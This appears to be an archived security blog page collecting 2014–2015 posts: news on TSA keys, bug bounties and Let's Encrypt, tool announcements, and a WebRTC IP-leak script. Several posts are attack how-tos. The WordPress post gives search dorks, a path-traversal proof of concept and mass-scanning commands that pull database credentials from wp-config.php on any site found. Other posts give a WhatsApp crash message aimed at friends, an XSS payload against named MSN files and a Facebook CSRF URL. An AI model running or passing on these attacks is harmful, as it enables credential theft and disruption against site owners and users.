degtech: security

‏إظهار الرسائل ذات التسميات security. إظهار كافة الرسائل

الجمعة، 11 سبتمبر 2015

Lockpickers 3D-Printed Master Key for TSA Luggage Locks and BluePrint Leaked Online

Here're a good news and bad news for you. The good news is that if you lose the keys for your TSA-compliant "Travel Sentry" luggage locks then you can just 3D print your very own TSA master keys.

The bad news is that anyone can now 3D print their own master keys to open your bags.

Yes, the security of 300 Million TSA-approved Travel Sentry luggage locks has been compromised, and now

الاثنين، 27 يوليو 2015

United Hackers Given Million Free Flight Miles

United Continental Holdings, a US airline has rewarded the two hackers under their bug bounty program because they have spotted security holes in the company website and they disclose the security flaw privately rather than sharing it online.

As a part of reward hackers have received the maximum reward of a million miles on flight, which is worth of hundreds free domestic flights and it is for two people. According to tech experts, its big and very good step in the domain of online security. In conversation with Reuters United Continental Holdings confirmed that they have paid the reward of one millions mile to each hacker, but they didn’t respond on the tweets of individuals which is saying that they have been also paid the small cash reward. This Chicago based carrier is hoping that its bug bounty program will help the company to uncover the cyber risks in the area of airline web security. With the help of bug bounty program web researchers solved the problem before hackers can exploit them and due to that the cost is much less than hiring outside consultancies.

However; all the three major competitors of United have declined any comment on the bug bounty programs and fourth was not available for commenting. Whereas; Trade group Airlines stated that in US all the air carriers should conduct these kinds of tests to make sure that system is secure. United adopted this strategy in the month of May when due to technology glitches they have grounded its fleet more than two times. In one incident company locked its airline reservations system and prevents customers from checking in, however; due to other zapped functionality of the software this air carrier dispatches its entire flight plan. According to spokesperson of United, “We believe that with the help of this program we will continue to provide best, secure and most excellent service”.

Jordan Wiens, who is working on the cyber vulnerabilities, tweeted that last month he received a reward of 1 million miles from United for exposing a security flaw which can allow hackers to control the website of airline. The more he added in an interview that there are not many companies in industry which are doing bug bounty programs, however; according to Wiens it’s normal for big companies such as; United to offer bug bounty program for their websites. Beyond the bug bounty program, United stated that its perfect test system which internally engages the cybersecurity firms to keep its website and online security secure.

According to Dr Jessica Barker, who is security consultant, “Schemes which are rewarding the hackers are perfect way to find and disclose the online security problems in right way and it help us to make the internet safe for all of us”. The more he added that bug bounty programs are common for tech companies because they understand online security and due to certain benefits now other industries are catching them.

الأربعاء، 4 مارس 2015

Nuke-IOS An Auditing Tool To Test ARP Attacks For iOS

Nuke-IOS An Auditing Tool To Test ARP Attacks For iOS.

Its an auditing tool to test ARP attacks, can easily be avoided using Static-ARP entries on hosts or with AP isolation. Nuke-IOS (beta) Automated ARP poisoning script for IOS.

What Is ARP Poisoning?
ARP Poisoning attack is a type of attack. Generally, the aim is to associate the attacker's MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.

ARP spoofing may allow an attacker to intercept data frames on a network, modify the traffic, or stop all traffic. Often the attack is used as an opening for other attacks, such as denial of service, man in the middle, or session hijacking attacks.

The attack can only be used on networks that use the Address Resolution Protocol. Soon its support for SBsettings toggle, yes, one simple button that takes down an entire /24 network in seconds.

Depends on:
mptcp network-cmds

Download

الاثنين، 2 مارس 2015

BTS PenTesting Lab - Open Source vulnerable Web Application Platform

BTS PenTesting Lab - Open Source vulnerable Web Application Platform.

Are you a Penetration Tester, an Information Security Specialist and/or simply a Learner in Cyber Security?

This might be the right Pentesting Platform for perform your Penetratration Tests and Upgrade your Skillz! This is BTS Pentesting Lab an Open Source vulnerable Web Application Platform developed by Cyber Security & Privacy Foundation (www.cysecurity.org). It can be used to perform and learn all about many different types of web application vulnerabilities.

Currently, the App Contains the following Types of Vulnerabilities:

*SQL Injection

*XSS (includes Flash Based xss)

*CSRF

*Clickjacking

*SSRF

*File Inclusion

* Code Execution

*Insecure Direct Object Reference

*Unrestricted File Upload vulnerability

*Open URL Redirection

*Server Side Includes(SSI) Injection

and more...

Direct Download Link:

-) Download

More details are available here:

-) https://www.owasp.org/index.php/Top_10_2013-Top_10

-) http://sourceforge.net/projects/btslab/

About the Author :
Christian Galeone is a Cyber Security Researcher from Italy, he's currently studying to I.I.S.S. Marco Polo ( Vocational Technical Institute | Vo-Tech ) attending the IT Programming Class.
He has been Acknowledged by the TOP 5 Companies including Yahoo!, Microsoft, AT&T, Sony etc. He is currently working with HOC as author of Cyber Security & Critical Tools Research Articles.

الاثنين، 9 فبراير 2015

The Hactivist Group Anonymous Take Over Dozens Of ISIS Social Media Accounts

The Hactivist Group Anonymous Take Over Dozens Of ISIS Social Media Accounts.

The online "hacktivist" group Anonymous has just hit a massive blow against ISIS and destroyed its months of recruiting efforts. Yes, the Islamic State of Iraq and Syria (ISIS) — the radical Islamic terrorist group known for its haematic, terrible propaganda videos.

ISIS has a huge social media presence, with multiple Facebook, Twitter, YouTube and Instagram accounts. But, the Anonymous group recently took control of over dozens of Facebook and Twitter accounts used by ISIS recruiters to bring in new members.

Anonymous also released a video on Friday saying, "We are Muslims, Christians, Jews alike. We hackers, crackers, Hacktivist, phishers, agents, spies, or just the guy next door… students, administrators, workers, clerks, unemployed, rich, poor."

"We are young, or old, gay or straight… from all races, countries, religions, and ethnicity. United as one, divided by zero," and most important point made by the video is that the Anonymous believes that "the terrorists that are calling themselves [the] Islamic State (ISIS) are not Muslims."

The group further issued a warning to ISIS in its own statement, which is as follows:

"We will hunt you, take down your sites, accounts, emails, and expose you. From now on, no safe place for you online. You will be treated like a virus, and we are the cure. We own the internet. We are Anonymous; we are Legion; we do not forgive, we do not forget. Expect us."

The Anonymous group then said it made good on its pledge by launching cyber attacks and disabling several Twitter and Facebook accounts linked to ISIS which were used for recruiting purposes. Under the Twitter hashtag #OpISIS, Anonymous released a list of what it said were ISIS sites crippled by the cyber attack.

Some of ISIS Twitter accounts, that were taken offline by the online Hackivist group as part of #OpISIS are as follows:

Anonymous says the following Facebook accounts are in close contact with ISIS in Syria and Iraq. They advise us to “keep a close eye” on them.

According to Anonymous, it’s just the beginning of their operation and warned ISIS that there will be "more to come."

About the Author:

Swati Khandelwal - She is an Cyber Security Expert and Technical Writer at 'The Hacker News.

الخميس، 5 فبراير 2015

Latest Global Black Market Intelligence And Security Threats

Latest Global Black Market Intelligence And Security Threats.
Havoscope: Information About The Global Black Market.

In today’s interconnected world, black markets have the power to wreak havoc on all industries and across all regions. Whether denying needed tax revenues to governments, destabilizing societies or damaging the environment, the global black market impacts nearly everyone on a daily basis.

Despite billions of dollars spent combating the activities of the black market, little attention has been given to producing clear and useful data about those activities. When information and market statistics have been produced, they generally have been used as marketing tools designed to promote a certain agenda rather than to objectively describe the actual situation.

Havocscope addresses this need for accurate, unbiased data by providing a centralized location for all information about the black market. By collecting and analyzing hundreds of pieces of data every day, we provide only the highest quality of information to our global users.

“We have checked the sources provided by Havocscope and have found
that Havocscope accurately records the reported amounts.”

-“Economic Analysis of the Proposed CACP Anti-Counterfeiting and Piracy Initiative”
LECG in a report prepared for the Coalition Against Counterfeiting and Piracy (CACP)

As the premier global provider of information on black market activities, the World Economic Forum used our data in its 2011 Global Risks Report to highlight the issue of illicit trade. In 2012, the Council on Foreign Relations utilized our research when researching the issue of transnational crime for their Global Governance Monitor Project.

All Havocscope data on the black market is available for free to the public for personal use. Ranking totals and other information collected by Havocscope may be cited, so long as Havocscope is properly sourced and credited with a link back to our website when applicable.

About The Author:
This article is written by Mayur Agnihotri. I'm Not a Master, I'm Still a Learner. NO-BODY is Safe in Cyber World. Use Knowledge to Save Yourself & Your Country.Respect your Country's Cyber Law. " For Digital India We Should Think About Digital Terrorism First.....!! " - Hakon

الثلاثاء، 27 يناير 2015

Get Original IP Address Of Any User From STUN IP Address Requests For WebRTC

Get Original IP Address Of Any User From STUN IP Address Requests For WebRTC

Firefox and Chrome have implemented WebRTC that allow requests to STUN servers be made that will return the local and public IP addresses for the user. These request results are available to javascript, so you can now obtain a users local and public IP addresses in javascript. This demo is an example implementation of that.

What is STUN Server?
A STUN (Session Traversal of User Datagram Protocol [UDP] Through Network Address Translators [NATs]) server allows NAT clients (i.e. IP Phones behind a firewall) to setup phone calls to a VoIP provider hosted outside of the local network.

The STUN server allows clients to find out their public address, the type of NAT they are behind and the internet side port associated by the NAT with a particular local port. The STUN protocol is defined in RFC 3489.

The STUN protocol allows applications operating behind a network address translator (NAT) to discover the presence of the network address translator and to obtain the mapped (public) IP address (NAT address) and port number that the NAT has allocated for the application's User Datagram Protocol (UDP) connections to remote hosts. The protocol requires assistance from a third-party network server (STUN server) located on the opposing (public) side of the NAT, usually the public Internet.

Additionally, these STUN requests are made outside of the normal XMLHttpRequest procedure, so they are not visible in the developer console or able to be blocked by plugins such as AdBlockPlus or Ghostery. This makes these types of requests available for online tracking if an advertiser sets up a STUN server with a wildcard domain.

Code
Here is the annotated demo function that makes the STUN request. You can copy and paste this into the Firefox or Chrome developer console to run the test.

Get the IP addresses associated with an account

function getIPs(callback){
var ip_dups = {};

//compatibility for firefox and chrome
var RTCPeerConnection = window.RTCPeerConnection
|| window.mozRTCPeerConnection
|| window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannels: true}]
};

//firefox already has a default stun server in about:config
// media.peerconnection.default_iceservers =
// [{"url": "stun:stun.services.mozilla.com"}]
var servers = undefined;

//add same stun server for chrome
if(window.webkitRTCPeerConnection)
servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};

//construct a new RTCPeerConnection
var pc = new RTCPeerConnection(servers, mediaConstraints);

//listen for candidate events
pc.onicecandidate = function(ice){

//skip non-candidate events
if(ice.candidate){

//match just the IP address
var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];

//remove duplicates
if(ip_dups[ip_addr] === undefined)
callback(ip_addr);

ip_dups[ip_addr] = true;
}
};

//create a bogus data channel
pc.createDataChannel("");

//create an offer sdp
pc.createOffer(function(result){

//trigger the stun server request
pc.setLocalDescription(result, function(){});

}, function(){});
}

//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});

Download

الأربعاء، 21 يناير 2015

Exploring Wordpress Theme Arbitrary File Download Vulnerability Exploits Available

Exploring Wordpress Theme Arbitrary File Download Vulnerability + SCANNER INURLBR / EXPLOIT INURL A.F.D Verification

Wordpress Theme U-Design Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/u-design/"
ACCESS: http://1337day.com/exploit/23143

-------------------------------------------------------------------------------------------

Wordpress Theme Terra Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/terra/"
ACCESS: http://1337day.com/exploit/23142

-------------------------------------------------------------------------------------------

Wordpress Theme Pindol Arbitrary File Download Vulnerability
DORK: inurl:"wp-content/themes/pindol/"
ACCESS: http://1337day.com/exploit/23144

-------------------------------------------------------------------------------------------

All themes above, are failing in the same revslider plugin.

POC:
http://[target]/[path]/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

[EXPLOIT]: Wordpress A.F.D Verification/ INURL - BRASIL

Exploit developed can check about 20 themes, and allows check standard as follows.

POC -> /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

Which is the same as 0day mentioned above.

[Exploit ACCESS]
http://pastebin.com/ZEnbxXXd
http://packetstormsecurity.com/files/129706/WordPress-Themes-download.php-File-Disclosure.html
Please download the exploit and put the name of exploit.php

Now let's use the inurlbr scanner as a mass explorer
[SCANNER INURLBR]
https://github.com/googleinurl/SCANNER-INURLBR

Command use INURLBR:
Ex: php inurlbr.php --dork 'you dork' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/u-design/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/terra/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

php inurlbr.php --dork 'inurl:"wp-content/themes/pindol/"' -q 1,6 -s save.txt --comand-all 'php exploit.php _TARGET_'

Brief introduction --comand

--comand-vul Every vulnerable URL found will execute this command parameters.
Example: --comand-vul {command}
Usage: --comand-vul 'nmap sV -p 22,80,21 _TARGET_'
--comand-vul './exploit.sh _TARGET_ output.txt'

--comand-all Use this commmand to specify a single command to EVERY URL found.
Example: --comand-all {command}
Usage: --comand-all 'nmap sV -p 22,80,21 _TARGET_'
--comand-all './exploit.sh _TARGET_ output.txt'

Observation:
_TARGET_ will be replaced by the URL/target found, although if the user
doesn't input the get, only the domain will be executed.
_TARGETFULL_ will be replaced by the original URL / target found.

-------------------------------------------------------------------------------------------

INURLBR ADVANCED CONTROL

php inurlbr.php --dork 'YOU DORK revslider' -q 1,6 -s wordpress2.txt --exploit-get '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' -t 3 --exploit-comand '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' --comand-all 'echo "_TARGET__EXPLOIT_">> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_" >> curlwordpress.txt;curl "_TARGET__EXPLOIT_"|grep "DB_"'

[TUTORIAL] - Wordpress A.F.D Verification/ INURL - BRASIL + SCANNER INURLBR

[TUTORIAL] - Hacking Panel Wordpress - Slider Revolution

[TUTORIAL] - Getting access to the Wordpress panel

Source: Inurl

الأحد، 11 يناير 2015

Facebook Vulnerability Allows to Video-Call Mark Zuckerberg!

Facebook Vulnerability Allows to Video-Call Mark Zuckerberg!

Have you ever desired to Video-Call the Founder of Facebook?
Well, with this Vulnerability it's still possible!.

The following used vulnerability allows with a GET (In-URI) CSRF Parameter to avoid the Video-Calling blocks into Mark Zuckerberg Privacy Setting's.

.First let me introduce what a CSRF Vulnerability IS:

"A Cross-Site Request Forgery (CSRF) Vulnerability is a type of attack that occurs when a malicious Web site, email, blog, instant message, or program causes a user?s Web browser to perform an unwanted action on a trusted site for which the user is currently authenticated." (*)

Now, Let's start analyzing it!
First we start from this URL (like we are actually Video-Calling one of our Friends):

https://www.facebook.com/videocall/incall/

When we've identified the Vulnerable GET Parameter, we may apply it as below!

https://www.facebook.com/videocall/incall/?peer_id=

After the peer_id= parameter, we'll insert Mark Zuckerberg ID (which is id=4)

So, definitely, the Complete URL, will look like this below:

https://www.facebook.com/videocall/incall/?peer_id=4

Regarding this Bug, Facebook Security Team have not yet released a FIX, on the fact continuing to allow Attackers to use this flaw against the whole Social Community!.

Reference: OWASP CSRF Guide
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

About the Author :
Christian Galeone is a Cyber Security Researcher from Italy, he's currently studying to ITCL Marco Polo ( Vocational Technical Institute | Vo-Tech ) attending the IT Programming Class.
He has been Acknowledged by the TOP 5 Companies including Yahoo!, Microsoft, AT&T, Sony etc. He is currently working with HOC as author of Cyber Security & Critical Tools Research Articles.

الأربعاء، 24 ديسمبر 2014

ANATEL - Brazilian National Telecommunications Agency Hacked

ANATEL - Brazilian National Telecommunications Agency was hacked this week and hackers leaked the database and various information online.

Everything indicates that it is a form of protest against the telephone companies and the country's internet, Marco Civil and Internet freedom.

The hacker who identifies himself as [?] 1NC0GN1T0 [?], Also left a message for telephone operators GVT, Oi, Claro, Vivo, Tim, NET, Embratel and others.

Watch full detail:

ANATEL Hacked & exposed - Ghostbin

الأربعاء، 17 ديسمبر 2014

SSH Key Generator POC One Keypair At A Time

SSH Key Generator POC One Keypair At A Time. A utility for deterministically generating SSH keypairs.

SSH uses public-key cryptography to authenticate the remote computer and allow it to authenticate the user, if necessary. There are several ways to use SSH; one is to use automatically generated public-private key pairs to simply encrypt a network connection, and then use password authentication to log on..

Each keypair is generated by hashing together a "seed" or "master key" (should be at least 32 bytes, randomly generated, and kept secret) and a unique "handle" (using the same handle will result in the same keypair, but the handle does not need to be kept secret); the resulting SHA256 hash is used as the input for generating an Ed25519 keypair.

This allows the creation of a large number of unique keypairs without having to actually manage the keypairs individually. This allows for, say, using a different keypair for every host you need to log into, thus preventing someone from correlating different user accounts on different hosts by the public keys in authorized_keys.

This proof of concept implementation just generates one keypair at a time; ideally the keypairs would be generated on demand, perhaps by an SSH agent implementation (the key generation step should only take a few milliseconds).

Note that while Ed25519 allows for using any 32-byte input to generate a keypair, making this implementation trivial, implementing a similar scheme for other key types is probably possible in some cases (eg. ECDSA), and infeasible in others (DSA/RSA, probably).

Usage
You will need ghc and cabal, as well as the libsodium development files; on Debian/Ubuntu, the ghc and libsodium-dev packages are what you need.

$ git clone https://github.com/mithrandi/ssh-key-generator.git
$ cd ssh-key-generator
$ cabal sandbox init
$ cabal install
$ head -c 32 /dev/urandom > seed
$ cabal run ./seed HIMOM ./id_ed25519
$ ssh-keygen -y -f ./id_ed25519

./seed is the master key, HIMOM is the key handle, and ./id_ed25519 is the output file into which the private key will be placed. ssh-keygen is then invoked to print the public key out.

Download now

الاثنين، 15 ديسمبر 2014

MSN.COM Affected By Multiple Flash Cross-Site Scripting Vulnerabilities

MSN.COM Affected By Multiple Flash Cross-Site Scripting Vulnerabilities!

Basically a Flash Cross-Site Scripting Vulnerability isn't so different from the other XSS Attacks and infect they have the same High Impact like the others! but the unique difference is that it works via Flash Object Files (.SWF).

Christian Galeone a youngest cyber security researcher has been found vulnerability in Microsoft domain. He describe as follows:

Into my Bug Hunting Carrier i had the opportunity to find Several High Issues, one of them is the Flash Cross Site Scripting Vulnerability!.

So, here is how it works!:

For these reasons, i have Recently found that the domain " ads1.msn.com " from Microsoft Inc. had Several Vulnerable Flash Objects for this type of Attack!

**Affected URL(s) Link:**

http://ads1.msn.com/ads/7188/0000007188_000000000000000633582.swf

http://ads1.msn.com/ads/76434/0000076434_000000000000000600751.swf

http://ads1.msn.com/ads/83264/0000083264_000000000000000674697.swf

http://ads1.msn.com/ads/60380/0000060380_000000000000000471735.swf

http://ads1.msn.com/ads/73102/0000073102_000000000000000411337.swf

http://ads1.msn.com/ads/68526/0000068526_000000000000000626606.swf

http://ads1.msn.com/ads/76434/0000076434_000000000000000600754.swf

http://ads1.msn.com/ads/53428/0000053428_000000000000000567342.swf

http://ads1.msn.com/ads/9911/0000009911_000000000000000610871.swf

http://ads1.msn.com/ads/65522/0000065522_000000000000000526160.swf

I have downloaded the SWF Object(s) and analyzed their Internal Code with SWFScan (from HP), here you can see the code:

As i saw, the ?ClickTag= Parameter was Vulnerable (after have tested it manually) and so i was able to Inject the PoC Payload Script into it, as you can see below,

Javascript:prompt(document.domain)//

The document.domain indicate where the Script Execution will come from, so the PoC Link will look as below:

http://ads1.msn.com/ads/7188/0000007188_000000000000000633582.swf?clickTAG=Javascript:prompt(document.domain)//

Let's see the main SWF Screen

This is our Result - (Click into the Banner)!

Where about:blank it indicates the Origin of the Script, in our Case the 0000007188_000000000000000633582.swf Object!.

I've then reported the issue to Microsoft Security Team and they decided to Credit me into their Acknowledgement Page for the month of January 2015!

Let's say is an awesome Gift ;-)
Marry Christmas and Happy New Year to Everybody!!

More Details:
http://www.acunetix.com/blog/articles/elaborate-ways-exploit-xss-flash-parameter-injection/

About the Author :
Christian Galeone is a Cyber Security Researcher from Italy, he's currently studying to ITCL Marco Polo ( Vocational Technical Institute | Vo-Tech ) attending the IT Programming Class.
He has been Acknowledged by the TOP 5 Companies including Yahoo!, Microsoft, AT&T, Sony etc.
He is currently working with HOC as author of Cyber Security & Critical Tools Research Articles.

الثلاثاء، 9 ديسمبر 2014

NoGoToFail: A Network Security Testing Tool For HTTPS And TLS/SSL Bugs

NoGoToFail: A Network Security Testing Tool For HTTPS and TLS/SSL Bugs. An on-path blackbox network traffic security testing tool.

Nogotofail is a network security testing tool designed to help developers and security researchers spot and fix weak TLS/SSL connections and sensitive cleartext traffic on devices and applications in a flexible, scalable, powerful way. It includes testing for common SSL certificate verification issues, HTTPS and TLS/SSL library bugs, SSL and STARTTLS stripping issues, cleartext issues, and more.

Design

Nogotofail is composed of an on-path network MiTM and optional clients for the devices being tested. See docs/design.md for the overview and design goals of nogotofail.

Dependencies

Nogotofail depends only on Python 2.7 and pyOpenSSL>=0.13. The MiTM is designed to work on Linux machines and the transparent traffic capture modes are Linux specific and require iptables as well.

Additionally the Linux client depends on psutil.

According to Google blog,
"Google is committed to increasing the use of TLS/SSL in all applications and services. But “HTTPS everywhere” is not enough; it also needs to be used correctly. Most platforms and devices have secure defaults, but some applications and libraries override the defaults for the worse, and in some instances we’ve seen platforms make mistakes as well. As applications get more complex, connect to more services, and use more third party libraries, it becomes easier to introduce these types of mistakes.

The Android Security Team has built a tool, called nogotofail, that provides an easy way to confirm that the devices or applications you are using are safe against known TLS/SSL vulnerabilities and misconfigurations. Nogotofail works for Android, iOS, Linux, Windows, Chrome OS, OSX, in fact any device you use to connect to the Internet. There’s an easy-to-use client to configure the settings and get notifications on Android and Linux, as well as the attack engine itself which can be deployed as a router, VPN server, or proxy."

Download

الأربعاء، 3 ديسمبر 2014

Crash Your Friend WhatsApp Account Remotely [TUTORIAL]

Crash Your Friend WhatsApp Account Remotely [TUTORIAL]

Recently published a report here on the blog a new flaw found in WhatsApp, where you can catch Application on the phone of another person by sending a message 2KB, made up of characters that the app can not decipher.

The process is simple:

1 - Through its cellular visit the link Pastebin containing the characters
http://pastebin.com/3efiBva4

2 - Select all characters, copy, select a conversation and paste. It could be a private conversation or in a group.

3 - Message sent, now only await the outcome.

Link with message 2 KB in Pastebin: http://pastebin.com/3efiBva4

When the reader will click on message, then WhatsApp will be crashed.

Note: The responsibility is yours to crash private groups or conversations.

Thanks to my friend Juliana for the help.

الاثنين، 1 ديسمبر 2014

Free HTTPS/SSL For All Websites Lets Encrypt

Free SSL For All Websites Lets Encrypt.

The non-profit foundation Electronic Frontier Foundation (EFF) has partnered with big and reputed companies including Mozilla, Cisco, and Akamai to offer free HTTPS/SSL certificates for those running servers on the internet at the beginning of 2015, in order to encourage people to encrypt users’ connections to their websites.

Let’s Encrypt launches in Summer 2015, enabling HTTPS for your site will be as easy as installing a small piece of certificate management software on the server:

$ sudo apt-get install lets-encrypt

$ lets-encrypt example.com

That’s all there is to it! https://example.com is immediately live.

The challenge is server certificates. The anchor for any TLS-protected communication is a public-key certificate which demonstrates that the server you’re actually talking to is the servear you intended to talk to. For many server operators, getting even a basic server certificate is just too much of a hassle. The application process can be confusing. It usually costs money. It’s tricky to install correctly. It’s a pain to update.

The key principles behind Let’s Encrypt are:

Free: Anyone who owns a domain can get a certificate validated for that domain at zero cost.
Automatic: The entire enrollment process for certificates occurs painlessly during the server’s native installation or configuration process, while renewal occurs automatically in the background.
Secure: Let’s Encrypt will serve as a platform for implementing modern security techniques and best practices.
Transparent: All records of certificate issuance and revocation will be available to anyone who wishes to inspect them.
Open: The automated issuance and renewal protocol will be an open standard and as much of the software as possible will be open source.
Cooperative: Much like the underlying Internet protocols themselves, Let’s Encrypt is a joint effort to benefit the entire community, beyond the control of any one organization.

Running the demo code

The demo code is supported and known to work on Ubuntu only (even closely related Debian is known to fail). Therefore, prerequisites for other platforms listed below are provided mainly for thedevelopers reference.

Prerequisites

In general:

swig is required for compiling m2crypto
augeas is required for the python-augeas bindings

Ubuntu

sudo apt-get install python python-setuptools python-virtualenv \
  python-dev gcc swig dialog libaugeas0 libssl-dev

Mac OSX

sudo brew install augeas swig

Installation

virtualenv --no-site-packages venv
./venv/bin/python setup.py install
sudo ./venv/bin/letsencrypt

Hacking

In order to start hacking, you will first have to create a development environment:

./venv/bin/python setup.py dev

The code base, including your pull requests, must have 100% test statement coverage and be compliant with the coding style. The following tools are there to help you:

./venv/bin/tox starts a full set of tests. Please make sure you run it before submitting a new pull request.
./venv/bin/tox -e cover checks the test coverage only.
./venv/bin/tox -e lint checks the style of the whole project, while ./venv/bin/pylint file will check a single file only.

Coding style

Most importantly, be consistent with the rest of the code, please.

Read PEP 8 - Style Guide for Python Code.

Follow Google Python Style Guide, with the exception that we use Sphinx-style documentation:

def foo(arg):
   """Short description.

   :param int arg: Some number.

   :returns: Argument
   :rtype: int

   """
   return arg

Remember to use ./venv/bin/pylint.

Command line usage

usage: sudo letsencrypt.py [-h] [-d DOMAIN [DOMAIN ...]] [-s SERVER] [-p PRIVKEY]
                      [-c CSR] [-b ROLLBACK] [-k] [-v] [-r] [-n] [-e] [-t]
                      [--test]

An ACME client that can update Apache configurations.

optional arguments:
  -h, --help            show this help message and exit
  -d DOMAIN [DOMAIN ...], --domains DOMAIN [DOMAIN ...]
  -s SERVER, --server SERVER
                        The ACME CA server address.
  -p PRIVKEY, --privkey PRIVKEY
                        Path to the private key file for certificate
                        generation.
  -c CSR, --csr CSR     Path to the certificate signing request file
                        corresponding to the private key file. The private key
                        file argument is required if this argument is
                        specified.
  -b N, --rollback N    Revert configuration N number of checkpoints.
  -k, --revoke          Revoke a certificate.
  -v, --view-checkpoints
                        View checkpoints and associated configuration changes.
  -r, --redirect        Automatically redirect all HTTP traffic to HTTPS for
                        the newly authenticated vhost.
  -n, --no-redirect     Skip the HTTPS redirect question, allowing both HTTP
                        and HTTPS.
  -e, --agree-eula      Skip the end user license agreement screen.
  -t, --text            Use the text output instead of the curses UI.
  --test                Run in test mode.

Source:
EFF, Lets Encrypt